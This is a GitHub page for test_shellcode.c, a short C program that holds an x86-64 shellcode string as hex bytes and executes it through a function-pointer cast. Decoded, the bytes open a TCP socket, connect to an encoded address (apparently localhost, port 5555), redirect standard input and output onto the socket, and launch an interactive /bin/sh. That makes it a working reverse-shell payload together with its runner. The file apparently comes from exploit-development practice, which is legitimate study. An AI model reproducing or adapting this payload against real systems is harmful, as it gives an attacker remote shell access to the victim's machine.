-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest_shellcode.c
More file actions
13 lines (8 loc) · 873 Bytes
/
test_shellcode.c
File metadata and controls
13 lines (8 loc) · 873 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<string.h>
int main(void) {
char code[] = "\x48\x29\xc0\x48\x31\xdb\x48\x31\xc9\x48\x29\xd2\x48\x31\xf6\x48\x31\xff\xb0\x29\xb3\x02\x48\x89\xdf\xb3\x01\x48\x89\xde\x0f\x05\x48\x89\xc7\x49\x89\xc2\x48\x29\xc0\xb0\x2b\x2c\x01\x48\x31\xdb\x53\xbe\x82\x03\x03\x04\x81\xee\x03\x03\x03\x03\x56\x66\x68\x15\xb3\x66\x6a\x02\x48\x89\xe6\xb2\x18\x0f\x05\x48\x31\xc0\x48\x29\xd2\xb0\x21\x4c\x89\xd7\x48\x31\xf6\x0f\x05\x48\x29\xc0\x48\x29\xd2\xb0\x21\x4c\x89\xd7\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x31\xd2\xb0\x21\x4c\x89\xd7\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x53\x48\x89\xe7\x50\x66\x68\x2d\x69\x48\x89\xe2\x50\x52\x57\x48\x89\xe6\x48\x29\xd2\xb0\x3b\x0f\x05\x48\x29\xff\x48\x29\xc0\xb0\x3c\x0f\x05";
printf("Shellcode Length: %ld\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}